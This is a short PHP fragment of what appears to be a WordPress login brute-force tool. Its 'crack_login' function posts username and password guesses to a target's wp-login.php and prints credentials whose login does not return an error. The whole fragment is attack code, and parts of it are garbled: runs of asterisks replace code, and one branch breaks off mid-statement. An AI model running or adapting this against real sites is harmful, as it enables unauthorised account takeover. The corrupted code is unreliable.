function get_info($info) { preg_match('/~(.*?)~1/i', send_pack($info), $match_string); if (preg_match('/charset=utf-8/i', send_pack($info))) { return iconv('utf-8', 'gbk//IGNORE', $match_string[1]); } else { return $match_string[1]; } }
function crack_login($user_arr, $pass_arr) { global $host, $path; if ($path == "") { $url = "http://{$host}/wp-login.php"; } $url = "http://{$host}/{$path}/wp-login.php"; $cracked = array(); foreach ($user_arr as $user) { echo "current crack user --> " . $user . "\n\n"; $user = iconv('utf-8', 'gbk//IGNORE', $user); if ($pass_arr == 'same') { //$post = "log=" . urlencode($user) . "&pwd=" . urlencode($user) . "&wp-submit=%E7%99%BB%E5%BD%95&redirect_to=" . urlencode("http://$host/$path/") . "%2Fwp-admin%2F&testcookie=1"; $post = "log=" . urlencode($user) . "&pwd=" . urlencode($user) . "&wp-submit=Log+In&redirect_to=" . urlencode("http://{$host}/{$path}/") . "%2Fwp-admin%2F&testcookie=1"; sleep(10); $res = send_pack($url, $post); if (strpos($res, 'div id="login_error"') === false) { echo 'Username :'******' Password :'******'a.txt','w'),$res);exit; if (strpos($res, 'div id="login_error"') === false) { echo 'Username :'******' Password :' . $pass . "\n\n"; } } } } return $cracked; }